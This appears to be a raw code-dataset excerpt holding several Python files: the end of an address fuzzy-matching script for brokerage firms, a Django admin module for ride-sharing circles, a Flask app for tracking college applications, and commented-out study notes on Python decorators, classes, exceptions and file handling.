str(x).upper().strip() if not pd.isnull(x) else '') \r\nfirm['Address_upper_mail'] = firm['BD_MAIL_STRT_1_NM'].apply(lambda x: str(x).upper().strip() if not pd.isnull(x) else '') + ' ' + firm['BD_MAIL_STRT_2_NM'].apply(lambda x: str(x).upper().strip() if not pd.isnull(x) else '') \r\nfirm['STATE_CD_main'] = firm['BD_MAIN_STATE_CD'].apply(lambda x: x[:2].upper().strip() if not pd.isnull(x) else 'Missing') \r\nfirm['STATE_CD_mail'] = firm['BD_MAIL_STATE_CD'].apply(lambda x: x[:2].upper().strip() if not pd.isnull(x) else 'Missing') \r\n\r\n\r\n\r\ncombine = pd.concat([upsstore[['StoreNumber', 'Original Store Number', 'Address_upper', 'City', 'State', 'Zip', 'Country Code']]\r\n ,regus[['StoreNumber', 'Original Store Number', 'Address_upper', 'City', 'State', 'Zip', 'Country Code']]\r\n ,annex_brands[['StoreNumber', 'Original Store Number', 'Address_upper', 'City', 'State', 'Zip', 'Country Code']]\r\n ], ignore_index=True)\r\n\r\n#len(firm['FIRM_CRD_NB']) == len(set(firm['FIRM_CRD_NB'])) True: 19481\r\nfirm_main = firm[['FIRM_CRD_NB', 'BD_MAIN_STRT_1_NM', 'BD_MAIN_STRT_2_NM', 'BD_MAIN_CITY_NM', 'STATE_CD_main',\r\n 'BD_MAIN_CNTRY_NM', 'Zip_main', 'CNTRY_CD_main', 'Address_upper_main']].copy(deep=True)\r\nfirm_mail = firm[['FIRM_CRD_NB', 'BD_MAIL_STRT_1_NM', 'BD_MAIL_STRT_2_NM', 'BD_MAIL_CITY_NM', 'STATE_CD_mail', \r\n 'BD_MAIL_CNTRY_NM', 'Zip_mail', 'CNTRY_CD_mail', 'Address_upper_mail']].copy(deep=True)\r\n\r\ncombine.index.is_unique\r\nfirm_main.index.is_unique\r\nfirm_mail.index.is_unique\r\n\r\n\r\n# logic filters for country, state and zip: \r\n#for a in combine['Country Code'].append(firm_main['CNTRY_CD_main']).append(firm_mail['CNTRY_CD_mail']):\r\n# if len(str(a)) != 2 and a != 'Missing':\r\n# print(a)\r\ndef isSameCountry(c1, c2):\r\n if c1 == 'Missing' or c2 == 'Missing' or c1 == c2: #c1.upper().strip() == c2.upper().strip():\r\n return True\r\n else:\r\n return False\r\n \r\n#for a in combine['State'].append(firm_main['STATE_CD_main']).append(firm_mail['STATE_CD_mail']):\r\n# if len(str(a)) != 2 and a != 'Missing':\r\n# print(a)\r\ndef compareState(st1, st2):\r\n if st2 == 'Missing' or st1 == 'Missing':\r\n return 'Missing State CD'\r\n elif st1 == st2: #st1.upper().strip() == st2.upper().strip():\r\n return 'Matched'\r\n else:\r\n return 'Unmatched'\r\n \r\ndef isNumber(num):\r\n try:\r\n float(num)\r\n return True\r\n except ValueError:\r\n return False\r\n\r\n#for a in combine['Zip'].append(firm_main['Zip_main']).append(firm_mail['Zip_mail']):\r\n# if len(str(a)) != 5 or a is None:\r\n# print(a)\r\ndef compareZip(zip1, zip2):\r\n if zip2 == 'Missing' or zip1 == 'Missing' or not isNumber(zip1) or not isNumber(zip2) or len(zip1) != 5 or len(zip2) != 5:\r\n return 'Missing Zip Code or Bad Zip Code'\r\n elif abs(float(zip1) - float(zip2)) < 3.0:\r\n return 'Matched'\r\n else:\r\n return 'Unmatched'\r\n\r\ndef compareZip_score(zip1, zip2):\r\n if zip2 == 'Missing' or zip1 == 'Missing' or not isNumber(zip1) or not isNumber(zip2) or len(zip1) != 5 or len(zip2) != 5:\r\n return -5\r\n elif abs(float(zip1) - float(zip2)) < 3.0:\r\n return 25\r\n else:\r\n return -50\r\n \r\n#import reference:\r\n#reference.addr_map_direction\r\n#reference.addr_map_street\r\n#reference.addr_map_unit\r\n#reference.addr_map_country\r\naddr_map_street_exist = {}\r\naddr_map_unit_exist = {}\r\nfor addr in combine['Address_upper'].append(firm['Address_upper_main']).append(firm['Address_upper_mail']):\r\n for st_key, st_val in reference.addr_map_street.items():\r\n if st_key in addr and st_key not in addr_map_street_exist:\r\n addr_map_street_exist[st_key] = st_val\r\n \r\n for unit_key, unit_val in reference.addr_map_unit.items():\r\n if unit_key in addr and unit_key not in addr_map_unit_exist:\r\n addr_map_unit_exist[unit_key] = unit_val\r\n\r\n#address standardize functions:\r\n#from string import punctuation\r\n#print(punctuation)\r\n# !\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ \r\n# len(punctuation) = 32\r\npunctuation_exist = set()\r\nfor a in combine['Address_upper'].append(firm['Address_upper_main']).append(firm['Address_upper_mail']):\r\n for pun in a:\r\n if pun in punctuation and pun not in punctuation_exist:\r\n punctuation_exist.add(pun)\r\npunctuation_exist_dict = {} \r\nfor pun in punctuation_exist:\r\n punctuation_exist_dict[pun] = 0\r\n#print(punctuation_exist)\r\n# ,@:?.\";)(#*~-/\\'&!`=\r\n# len(punctuation_exist)\r\n\r\ndef strip_punctuation(s):\r\n return ''.join(c for c in s if c not in punctuation_exist_dict)\r\n\r\ndef std_address(raw_addr):\r\n if pd.isnull(raw_addr) or raw_addr is None:\r\n return ''\r\n list_raw_addr = raw_addr.split()\r\n std_addr = []\r\n for lra in list_raw_addr:\r\n if lra in reference.addr_map_direction:\r\n std_addr.append(reference.addr_map_direction.get(lra))\r\n \r\n lra_no_pun = strip_punctuation(lra)\r\n if not lra_no_pun:\r\n continue\r\n elif lra_no_pun in addr_map_street_exist:\r\n std_addr.append(addr_map_street_exist.get(lra_no_pun)) \r\n elif lra_no_pun in addr_map_unit_exist:\r\n std_addr.append(addr_map_unit_exist.get(lra_no_pun))\r\n else:\r\n std_addr.append(lra_no_pun)\r\n# return ' '.join(x for x in std_addr if x)\r\n return ' '.join(std_addr)\r\n\r\n#raw_addr = '# 624 SOUTH GRAND AVE., STE 2600 624 SO. GRAND AVE. SUITE 2510'\r\n#std_address(raw_addr)\r\n\r\ncombine['Address_upper_std'] = combine['Address_upper'].apply(lambda x: std_address(x))\r\nfirm_main['Address_upper_main_std'] = firm_main['Address_upper_main'].apply(lambda x: std_address(x))\r\nfirm_mail['Address_upper_mail_std'] = firm_mail['Address_upper_mail'].apply(lambda x: std_address(x))\r\n\r\n###############################################################################\r\nstart_time = time.time()\r\n###############################################################################\r\ntop_3_score = []\r\nprocessed_num = 0\r\nfor index_m, fmn_add in firm_main.iterrows():\r\n processed_num += 1\r\n print('---------- Processed: ', processed_num, 'out of 19481 records, index_m: ' , index_m, ' ----------')\r\n\r\n state_fmn = fmn_add['STATE_CD_main']\r\n zip_fmn = fmn_add['Zip_main']\r\n country_cd_fmn = fmn_add['CNTRY_CD_main']\r\n strt_fmn = fmn_add['Address_upper_main_std'] \r\n virtual_addr_pool = None \r\n if state_fmn != 'Missing' and country_cd_fmn != 'Missing':\r\n virtual_addr_pool = combine[(combine['State'] == state_fmn) & (combine['Country Code'] == country_cd_fmn)].copy(deep=True)\r\n elif state_fmn != 'Missing':\r\n virtual_addr_pool = combine[combine['State'] == state_fmn].copy(deep=True)\r\n elif country_cd_fmn != 'Missing':\r\n virtual_addr_pool = combine[combine['Country Code'] == country_cd_fmn].copy(deep=True)\r\n else:\r\n virtual_addr_pool = combine.copy(deep=True)\r\n \r\n if virtual_addr_pool.empty:\r\n continue\r\n virtual_addr_pool['zip_score'] = virtual_addr_pool['Zip'].apply(lambda x: compareZip_score(x, zip_fmn))\r\n virtual_addr_pool['rt_scr'] = virtual_addr_pool['Address_upper_std'].apply(lambda x: fuzz.ratio(x, strt_fmn)) \r\n virtual_addr_pool['prt_rt_scr'] = virtual_addr_pool['Address_upper_std'].apply(lambda x: fuzz.partial_ratio(x, strt_fmn)) \r\n virtual_addr_pool['cond_scr'] = virtual_addr_pool['rt_scr'] + virtual_addr_pool['prt_rt_scr'] + virtual_addr_pool['zip_score']\r\n\r\n virtual_addr_pool['FIRM_CRD_NB'] = fmn_add['FIRM_CRD_NB']\r\n top_3_score.append(virtual_addr_pool.nlargest(3, 'cond_scr').copy(deep=True))\r\n\r\ntop_3_score_pd = pd.concat(top_3_score, ignore_index=True)\r\nresult_main_top_3 = pd.merge(firm_main, top_3_score_pd, how='left', on = ['FIRM_CRD_NB'])\r\noutput_file_name = 'FIRM_main_20170719_1.csv'\r\nresult_main_top_3.to_csv(output_file_name, index = False) \r\n###############################################################################\r\nend_time = time.time()\r\ntime_used = end_time/60 - start_time/60\r\nprint(\"--- %s minutes ---\" % time_used)\r\nlog_file_name = 'time_used_4_' + output_file_name + '.txt'\r\nwith open(log_file_name,'a') as time_log:\r\n# time_log.write('Time used in minutes: ' + str(time_used_4_addr_std) + '\\n') \r\n time_log.write('Time used in minutes: ' + str(time_used))\r\n###############################################################################\r\n\r\n\r\n\r\n# Firm mail address \r\n###############################################################################\r\nstart_time = time.time()\r\ntop_3_score = []\r\nprocessed_num = 0\r\nfor index_m, fml_add in firm_mail.iterrows():\r\n processed_num += 1\r\n print('---------- Processed: ', processed_num, 'out of 19481 records, index_m: ' , index_m, ' ----------')\r\n\r\n state_fml = fml_add['STATE_CD_mail']\r\n zip_fml = fml_add['Zip_mail']\r\n country_cd_fml = fml_add['CNTRY_CD_mail']\r\n strt_fml = fml_add['Address_upper_mail_std'] \r\n virtual_addr_pool = None \r\n if state_fml != 'Missing' and country_cd_fml != 'Missing':\r\n virtual_addr_pool = combine[(combine['State'] == state_fml) & (combine['Country Code'] == country_cd_fml)].copy(deep=True)\r\n elif state_fml != 'Missing':\r\n virtual_addr_pool = combine[combine['State'] == state_fml].copy(deep=True)\r\n elif country_cd_fml != 'Missing':\r\n virtual_addr_pool = combine[combine['Country Code'] == country_cd_fml].copy(deep=True)\r\n else:\r\n virtual_addr_pool = combine.copy(deep=True)\r\n \r\n if virtual_addr_pool.empty:\r\n continue\r\n virtual_addr_pool['zip_score'] = virtual_addr_pool['Zip'].apply(lambda x: compareZip_score(x, zip_fmn))\r\n virtual_addr_pool['rt_scr'] = virtual_addr_pool['Address_upper_std'].apply(lambda x: fuzz.ratio(x, strt_fmn)) \r\n virtual_addr_pool['prt_rt_scr'] = virtual_addr_pool['Address_upper_std'].apply(lambda x: fuzz.partial_ratio(x, strt_fmn)) \r\n virtual_addr_pool['cond_scr'] = virtual_addr_pool['rt_scr'] + virtual_addr_pool['prt_rt_scr'] + virtual_addr_pool['zip_score']\r\n\r\n virtual_addr_pool['FIRM_CRD_NB'] = fml_add['FIRM_CRD_NB']\r\n top_3_score.append(virtual_addr_pool.nlargest(1, 'cond_scr').copy(deep=True))\r\n\r\ntop_3_score_pd = pd.concat(top_3_score, ignore_index=True)\r\nresult_mail_top_3 = pd.merge(firm_mail, top_3_score_pd, how='left', on = ['FIRM_CRD_NB'])\r\noutput_file_name = 'FIRM_mail_20170719_2.csv'\r\nresult_mail_top_3.to_csv(output_file_name, index = False) \r\n\r\nend_time = time.time()\r\ntime_used = end_time/60 - start_time/60\r\nprint(\"--- %s minutes ---\" % time_used)\r\nlog_file_name = 'time_used_4_' + output_file_name + '.txt'\r\nwith open(log_file_name,'a') as time_log:\r\n# time_log.write('Time used in minutes: ' + str(time_used_4_addr_std) + '\\n') \r\n time_log.write('Time used in minutes: ' + str(time_used))\r\n###############################################################################\r\n\r\nprint('Mission Accomplished!')\r\n","repo_name":"shuowenwei/AddressFuzzyMatch","sub_path":"FIRM addr match clean codes.py","file_name":"FIRM addr match clean codes.py","file_ext":"py","file_size_in_byte":17159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2293271887","text":"import csv\nfrom datetime import date, datetime, timedelta\n\n# Django\nfrom django.contrib import admin\nfrom django.http import HttpResponse\nfrom django.utils import timezone\n\n# Model\nfrom ride.circles.models import Circle\nfrom ride.rides.models import Ride\n\n\n@admin.register(Circle)\nclass CircleAdmin(admin.ModelAdmin):\n\n list_display = (\"slug_name\", \"name\", \"verified\")\n list_filter = (\"verified\", \"is_public\", \"is_limited\", \"created\")\n\n fieldsets = (\n (\n None,\n {\n \"fields\": (\n (\"name\", \"slug_name\"),\n (\"about\", \"picture\"),\n ),\n },\n ),\n (\n \"Stats\",\n {\n \"fields\": ((\"rides_taken\", \"rides_offered\"),),\n },\n ),\n (\n \"Privacy\",\n {\n \"fields\": (\n (\"is_public\", \"verified\"),\n (\"is_limited\", \"members_limit\"),\n ),\n },\n ),\n )\n\n readonly_fields = (\"created\", \"modified\")\n\n actions = [\"make_verified\", \"make_unverified\", \"Download today rides\"]\n\n def make_verified(self, request, queryset):\n queryset.update(verified=True)\n\n make_verified.short_description = \"Make selected circle verified\"\n\n def make_unverified(self, request, queryset):\n queryset.update(verified=False)\n\n make_unverified.short_description = \"Make selected circle unverified\"\n\n def download_today_rides(self, request, queryset):\n \"\"\"Return today's rides\"\"\"\n now = timezone.now()\n start = datetime(now.year, now.month, now.day, 0, 0, 0)\n end = start + timedelta(days=1)\n\n rides = Ride.objects.filter(\n offered_in__in=queryset.values_list(\"id\"),\n departure_date__gte=start,\n departure_date__lte=end,\n ).order_by(\"departure_date\")\n\n response = HttpResponse(content_type=\"text/csv\")\n response[\"Content-Disposition\"] = 'attachment; filename=\"today_rides.csv\"'\n writer = csv.writer(response)\n\n writer.writerow(\n [\"id\", \"passengers\", \"departure_location\", \"departure_date\", \"rating\"]\n )\n\n for ride in rides:\n writer.writerow(\n [\n ride.pk,\n ride.passengers.count(),\n ride.departure_location,\n str(ride.departure_date),\n ride.arrival_location,\n str(ride.arrival_date),\n ride.rating,\n ]\n )\n\n return response\n\n download_today_rides.short_description = \"Download today rides\"\n","repo_name":"AndresNunezG/ride","sub_path":"ride/circles/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73541538061","text":"import os\nfrom flask import Flask, request, redirect, render_template, flash\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\n\napp.config.from_object(os.environ.get('APP_SETTINGS'))\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\nfrom models import College\n\n\n@app.route('/')\ndef index():\n try:\n colleges = College.query.all()\n return render_template(\"index.html\", colleges=colleges)\n except Exception as e:\n return str(e)\n\n\n@app.route('/add_college', methods=['GET', 'POST'])\ndef add_college():\n if request.method == \"POST\":\n name = request.form.get('name')\n app_deadline = request.form.get('app_deadline')\n rec_deadline = request.form.get('rec_deadline')\n num_essays = request.form.get('num_essays')\n midyear_report = request.form.get('midyear_report')\n acceptance_rate = request.form.get('acceptance_rate')\n platform = request.form.get('platform')\n try:\n college = College(\n name=name,\n app_deadline=app_deadline,\n rec_deadline=rec_deadline,\n num_essays=num_essays,\n midyear_report=midyear_report,\n acceptance_rate=acceptance_rate,\n platform=platform,\n )\n if request.form.get('name') == \"\":\n raise ValueError('There is no name specified for the college. Please try again with a name.')\n else:\n db.session.add(college)\n db.session.commit()\n except ValueError as v:\n flash(str(v))\n return redirect('/')\n except Exception as e:\n return str(e)\n return redirect('/')\n else:\n return render_template(\"college.html\")\n\n\n@app.route('/edit_college', methods=['GET', 'POST'])\ndef edit_college():\n \"\"\"\n Workflow: A user selects a college from the 'edit college' dropdown and encounters the else case of this\n method because there is no post request yet. Then, once they edit the information, they submit the form\n with a post request which enters the if condition of the function.\n :return: if the user successfully edits, the '/' url\n \"\"\"\n college = College.query.filter_by(name=request.args.get('name')).first()\n # Run this once the user makes some edits and submits the form with a post request\n if request.method == \"POST\":\n college.name = request.form.get('name')\n college.app_deadline = request.form.get('app_deadline')\n college.rec_deadline = request.form.get('rec_deadline')\n college.num_essays = request.form.get('num_essays')\n college.midyear_report = request.form.get('midyear_report')\n college.acceptance_rate = request.form.get('acceptance_rate')\n college.platform = request.form.get('platform')\n db.session.commit()\n return redirect('/')\n # Run this if the user is visiting the edit page for the first time (no edits yet)\n else:\n try:\n is_editing = True\n try:\n if request.args.get('name') is None:\n raise ValueError('There is no college specified for editing.')\n except ValueError as v:\n flash(str(v))\n return redirect('/')\n return render_template(\"college.html\", college=college, is_editing=is_editing)\n except Exception as e:\n return str(e)\n\n\n@app.route('/delete_college', methods=['GET', 'POST'])\ndef delete_college():\n college_to_delete = College.query.filter_by(name=request.args.get('name')).first()\n db.session.delete(college_to_delete)\n db.session.commit()\n return redirect('/')\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"borao/college-easy","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3759,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"71925007822","text":"#\n# # #DECORATORS IS A FUNCTION IT INCREASE THE FUNCTIONALITY OF OTHER FUNCTIONS\n# def decorate_func(any_function):\n# def wrape_func():\n# print(\"this is awesome function\")\n# return any_function()\n# return wrape_func\n# def func1():\n# print(\"this is function1\")\n#\n# def func2():\n# print(\"this is function2\")\n# # var1=decorate_func(func1)\n# # var2=decorate_func(func2)\n# # var1(),var2()\n# #\n# #\n# @decorate_func\n# def func1():\n# print(\"this is function1\")\n#\n# # @decorate_func\n# # def func2():\n# # print(\"this is function2\")\n# func1()\n# # func2()\n# # from functools import wraps\n# # def deccorate_func2(any_func):\n# # @wraps(any_func)#it override by any_func\n# # def wrap_func(*args,**kwargs):\n# # '''this is wrap function'''\n# # total=1\n# # for i in args:\n# # total*=i\n# # print(total)\n# # print(\"this is awesome function\")\n# # return any_func(*args,**kwargs)\n# # return wrap_func\n# #\n# # @deccorate_func2\n# # def add(a,b):\n# # '''this is add function'''#for this doc string we have to import wrap module\n# # return a+b\n# # @deccorate_func2\n# # def sum(a,b,c):\n# # '''this is sum function'''\n# # return a+b+c\n# # # print(add(5,9))\n# # # print(add.__doc__)\n# # print(sum(5,4,3))\n# # print(sum.__doc__)\n# from functools import wraps\n# def print_function_data(any_func):\n# @wraps(any_func)\n# def wrap_func(*args,**kwargs):\n# print(\"you are calling\",any_func.__name__,\"function\")\n# print(any_func.__doc__)\n# return any_func(*args,**kwargs)\n# return wrap_func\n# @print_function_data\n# def sum2(a,b):\n# '''this function takes two numbers as parameters and return their sum'''\n# return a+b\n# print(sum2(5,4))\nfrom functools import wraps\nimport time\ndef cal_time(any_func):\n @wraps(any_func)\n def wrap_func(*args,**kwargs):\n print(f'executing...{any_func.__name__} function')\n t1 = time.time ()\n returned_val= any_func(*args,**kwargs)\n t2 = time.time ()\n print (f'{t2 - t1} seconds')\n return returned_val\n return wrap_func\n@cal_time\ndef fibbonacci():\n a=0\n b=1\n series=int(input(\"enter the rangee of seriees\"))\n for i in range(series):\n print(a)\n c=a+b\n a=b\n b=c\n return c\nprint(fibbonacci())\n# data type checking by using decoraters\n# def decorater(func):\n# def wrapper(*args,**kwargs):\n# if all([type(i)==int or type(i)==float for i in args]):\n# return func(*args,**kwargs)\n# else:\n# print(\"wrong arguments\")\n# return wrapper\n\n# @decorater\n# def add(*args):\n# total=0\n# for i in args:\n# total+=i\n# return total\n# print(add(7,9,10,2.5,3.6,'jfdg'))\n#\n# def input_data_type(data_type):\n# def decorate(function):\n# def wrap(*args,**kwargs):\n# if all([type(i)==data_type for i in args]):\n# return function(*args,**kwargs)\n# else:\n# print(f'wrong data type')\n# return wrap\n# return decorate\n# @input_data_type(int)\n# def add2(*args):\n# total=0\n# for i in args:\n# total+=i\n# return total\n# print(add2(9,6,2.3))\n\n#GENERATOR:IT IS NOTHING BUT ITERATOR WHERE WE USED FOR MEMORY SAVING.\n# def square():\n# l=[]\n# for i in range(1,10):\n# l.append(i**2)\n# yield l\n# print(square())\n# var=square()\n# for i in var:\n# print(i)\n# for i in var:#this loop will not give any data because it is generator. one time only\n# print(i)\n# def square(a):\n# return a**2\n# print(square(5))\n# l=[1,2,3,4]#iterable\n# i=iter(l)\n# print(i)\n# print(next(i))#this is iterator\n# print(next(i))\n# print(next(i))\n# print(next(i))\n# l1=list(map(lambda a:a**2,l))#iterator\n# print(l1)\n# square=[i**2 for i in range(1,11)]#list comprehension\n# print(square)\n# square=(i**2 for i in range(1,11))#generator comprehension\n# print (square)#it gives generator object\n# for i in square:\n# print(i)\n# for i in square:#here will not give the output when we using generator it will not give the output more than one time\n# print(i)\n\n#OBJECT ORIENTED PROGRAMING. IN PYTHON EVERYTHING IS A OBJECT\n# #CREATING OWN CLASS\n# class Person:\n# def __init__(self,first_name,last_name,age):#first_name,last_name,age are called attributes\n# print(\"calling init method\")\n# self.first_name=first_name\n# self.last_name=last_name\n# self.age=age\n#\n# p1=Person(\"harika\",\"golla\",26)#p1 is an object\n# p2=Person(\"anil\",\"golla\",30)#p2 is an object\n# print(p1.first_name)\n# print(p2.first_name)\n# #EXERCISE\n# class Laptop :\n# def __init__(self, brand_name,model_name,price) : # first_name,last_name,age are called attributes\n# print ( \"calling init method\" )\n# #instance variables\n# self.brand_name = brand_name\n# self.model_name = model_name\n# self.price =price\n# def apply_discount(self,percentage):\n# return self.price-((self.price*percentage)//100)\n#\n# p1 = Laptop( \"lenovo\", \"2006\", 2600 ) # p1 is an object or instance\n# p2 = Laptop ( \"dell\", \"2002\", 3000 ) # p2 is an object\n# print ( p1.brand_name )\n# print ( p2.model_name )\n# print(p1.apply_discount(10))\n# #instance methods\n# class Person :\n# def __init__(self, first_name, last_name, age) :\n# self.first_name = first_name\n# self.last_name = last_name\n# self.age = age\n# def full_name(self):#instancee method\n# return f\"{self.first_name}{self.last_name}\"\n# def is_above_age(self):#instance method\n# if self.age>18:\n# return f\"age is greaterthan 18\"\n# return f\"age is below 18\"\n# p1 = Person ( \"harika\", \"golla\", 12 ) # p1 is an object\n# p2 = Person ( \"anil\", \"golla\", 30 ) # p2 is an object\n# print ( p1.first_name )\n# print ( p2.first_name )\n# print(p1.full_name())\n# print(Person.full_name(p1))\n# print(p2.is_above_age())\n# #instance variables:where we declaring variables inside the class\n# class Circle:\n# '''it is circle class'''\n# pi=3.14#class variable or instance variable\n# def __init__(self,radius):\n# self.radius = radius\n# def area(self):\n# return 2*self.pi*self.radius\n#\n# a=Circle(10)\n# # a.pi=2.7\n# print(a.area())\n# print(a.__dict__)#all variables will be showm\n# print(a.__class__)#calss name display\n# print(a.__doc__)#comments will bee shown\n# print(a.__dir__)#memory location abject\n#Exercise:a class has how many objects\nclass Teacher:\n count=0#class variable/class attribute\n def __init__(self,first,last,age):#it is constructor\n Teacher.count+=1\n self.first_name=first\n self.last_name=last\n self.age=age\n @classmethod# it is decorator\n def count_instance(cls):#class method\n return f\"u have created {cls.count} instances of {cls.__name__} class\"\n\n def full_name(self):#instancee method\n return f\"{self.first_name}{self.last_name}\"\n\n @classmethod\n def from_string(cls,string):#in another way to create object\n first,last,age=string.split(\",\")\n return cls(first,last,age)\n @staticmethod\n def hello():\n print(\"hello,static method calling\")\nprint(Teacher.__dict__)\n# b1=Teacher(\"harika\",\"golla\",25)\n# b2=Teacher(\"anil\",\"golla\",31)\n# b3=Teacher(\"deepak\",\"golla\",2)\n# b4=Teacher.from_string(\"harika,golla,25\")\n#\n# print(Teacher.count)#class variable calling\n#\n# print(Teacher.count_instance())#class method calling\n#\n# print(b1.full_name())#b1 object is creeateed by init constructor\n# print(b4.full_name())#b4 object is createed by from_string constructor\n\n# Teacher.hello()#static method calling\n\n#property,setter,getter decoraters\n# class Laptop:\n# def __init__(self,model_name,brand_name,price):\n# self.model=model_name\n# self.brand=brand_name\n# self._price=max(price,0)\n# # self.complete_specificatin=f\"laptop brand is {self.brand} model is {self.model} and price is{self._price}\"\n# @property#here we useed property deecorator thas y it automatically change the price whateveer we given\n# def complete_specification(self):\n# return f\"laptop brand is {self.brand} model is {self.model} and price is{self._price}\"\n# def calling(self,number):\n# return f\"calling number {number}\"\n#\n# a1=Laptop(\"dell\",\"2007\",-2500)\n# print(a1.calling(905271618))\n# print(a1.__dict__)\n# a1._price=500\n# # print(a1.complete_specificatin)\n# print(a1.complet e_specification)#actually it is method but there is no need to call like a function\n# print(a1._price)\n# print()\n\n#INHERITANCE:frombase class to deriveed class inherit all the methods,variables etc....\nclass Normal_phone:#super class/base class/parent class\n def __init__(self,brand,model,price):\n self.brand=brand\n self.model=model\n self.price=price\n def mobile_description(self):\n return f\"mobile brand is {self.brand} model is {self.model} price is {self.price}\"\n\nclass Smart_phone(Normal_phone):#sub class/derived class/child class\n def __init__(self,brand,model,price,ram,internal_memory,camera):\n #first way\n # Normal_phone.__init__(self,brand,model,price)#inherite base class instancees to derived class\n\n super().__init__(brand,model,price)#second way\n self.ram=ram\n self.internal_memory=internal_memory\n self.camera=camera\n#\n# phone=Normal_phone(\"nokia\",\"2001\",2500)\n# iphone=Smart_phone(\"nokia\",\"2001\",2500,\"4g\",\"8gb\",\"200px\")\n# print(phone.__dict__)\n# print(iphone.__dict__)\n# print(iphone.mobile_description())\n# print(isinstance(iphone,Smart_phone))#isinstance is finding the object of which class\n# print(issubclass(Smart_phone,Normal_phone))#issubclass is finding the given class is subclass or not\n#MULTIPLE INHERITANCE:IF MOREETHAN ONE CLASS INHERIT TO THE SINGLE CLASS IS CALLED MULTIPLE INHERITANCE\n# class A:\n# def class_a(self):\n# return f\"this is class a method\"\n# def hello(self):\n# return f\"calling hello method from class a\"\n# class B:\n# def class_a(self):\n# return f\"this is class a method\"\n# def hello(self):\n# return f\"calling hello method from class a\"\n# class C(A,B):\n# pass\n# instance_a=A()\n# instance_b=B()\n# instance_c=C()\n# print(instance_c.hello())#it is folloing by method revolution order\n# print(help(C))#finding method revolution order or MRO\n# print(C.__mro__)#it gives mro in tuple\n# print(C.mro())#it gives mro in list\n\n# class AA:\n# def __init__(self,a1,a2):\n# self.a1=a1\n# self.a2=a2\n# def __str__(self):\n# return f\"hi this is str method\"\n# def __repr__(self):\n# print(f\"hi this is representation method\")\n# return f\"AA(\\'{self.a1}\\',\\'{self.a2}\\')\"#this will represent like a object\n# def full_name(self):\n# return f'{self.a1} {self.a2}'\n# def __len__(self):\n# return len(self.full_name())\n# def __add__(self, other):\n# return self.a1+other.a1\n# def __abs__(self):\n#\n#\n# obj=AA(\"harika\",\"golla\")\n# obj2=AA(\"harika\",\"golla\")\n# print(obj)#try only with init method\n# print(obj)#try including str method\n# print(obj.__str__())#or print(str(obj))\n# print(obj.__repr__())#or print(repr(obj))\n# print(obj.full_name())\n# print(obj.__len__())\n# print(obj+obj2)\n# print(len(obj))\n\n#ERRORS(IN BUILT ERRORS)\n#1.SYNTAX ERROR\n# def func:\n#2.INDENTATION ERROR\n# for i in range(1,11):\n# print(i)\n#3.NAME ERROR\n# print(name)#here name is not difined\n#4.INDEX ERROR\n# l=[1,2,3]\n# print(l[3])#here list is out of rangee\n#5.VALUE ERROR\n# b=\"fgg\"\n# int(b)\n#6.ATTRIBUTE ERROR\n# l=[1,2,1,3]\n# l.push(12)\n#KEY ERROR\n# dict={\"name\":\"harika\"}\n# print(dict[\"age\"])\n#ERROR RAISING:the program will not be terminated if we raise the eroor\n# def add(a,b):\n# if type(a)==int and type(b)==int:\n# return a+b\n# raise ValueError(\"u r parsing wrong data type\")\n# # print(add(2,\"5\"))\n#\n# class Animal:\n# def __init__(self,name):\n# self.name=name\n# def sound(self):\n# raise NotImplementedError(\"u have to define this method in sub classes\")\n# class Dog(Animal):\n# def __init__(self,name,breed):\n# super().__init__(name)\n# self.breed=breed\n# def sound(self):\n# return f\"bow bow\"\n# class Cat(Dog):\n# def __init__(self,name,breed):\n# super().__init__(name,breed)\n# def sound(self):\n# return f\"maew maew maew\"\n# dogy=Dog(\"daber\",\"pug\")\n# Caty=Cat(\"sunny\",\"milk\")\n# print(dogy.sound())\n# print(Caty.sound())\n# help(dogy)\n# print(Cat.mro())\n# while True:\n# try:\n# age=int(input(\"enter ur age\"))\n# break\n# except ValueError:\n# print( \"u entered wrong data type\" )\n# except:\n# print(\"unexpected error\")\n# if age<18:\n# print(\"u can't play the game\")\n# else:\n# print(\"u can play the game\")\n\n# def division(a,b):\n# try:\n# a=int(input(\"a=\"))\n# b=int(input(\"b=\"))\n# print(a/b)\n# except ZeroDivisionError as err:\n# print(err)\n# except TypeError as err:\n# print(err)\n# except:\n# print(\"unexcepected error\")\n# else:#if there is no errors in try block then it will continue with the else block\n# print(f\"u r taking the values a and b are:{a},{b}\")\n# finally:#if theere is error or no error finall block will always excuted\n# print(\"hi...!!\")\n#\n# print(division(5,2))\n\n# class UrSoYoung(ValueError):\n# pass\n# age=int(input(\"enter ur age\"))\n# if age>18:\n# raise UrSoYoung(\"u r so young\")#raising own error\n\n#DEBUGGING:DEBUGGING MEANS FIND AND RESOLVE THE PROBLEMS WITH IN A COMPUTER PROGRAM\n# import pdb\n# pdb.set_trace()\n# name=input(\"enter the name\")\n# age=input(\"enter the age\")\n# print(f\"heello {name} ur agee is {age}\")\n# age2=int(age)+5\n# print(f\"hi {name} ur age will be {age2} years after 5 years\")\n\n#debugging commands\n# l:will show in which line\n# n:move to the next line\n# q:quit the progrram\n# c:continue to execution\n\n#READ FILE\n\n# f=open(r\"C:\\Users\\Katthik\\Desktop\\Harika\\honey.txt\",\"r\")#by default read mode\n# print(f.read())#file reading\n# print(f.read())#it will not read the file again bcz the cursor will at last position\n# print(f\"cursor position is {f.tell()}\")\n# print(f\"cursor position to change in 0 place {f.seek(0)}\")\n# # print(f.read())#now we can read the file\n# # print(f.readline(),end=\"\")#read the file line by line\n# # print(f.readline(),end=\"\")\n# # print(f.readlines())#it will read the file and return in list format\n# for line in f.readlines()[::2]:#we can do loop also\n# print(line,end=\"\")\n# print()\n# print(f.name)#will shown file name\n# print(f.closed)#find file will close or not\n# f.close()#close the file\n# print(f.closed)\n\n# with open(\"hello\",\"a\") as fi:\n# # print(fi.write(\"hello\"))#it override the file with hello\n# print(fi.write(\"\\nhello\"))\n# 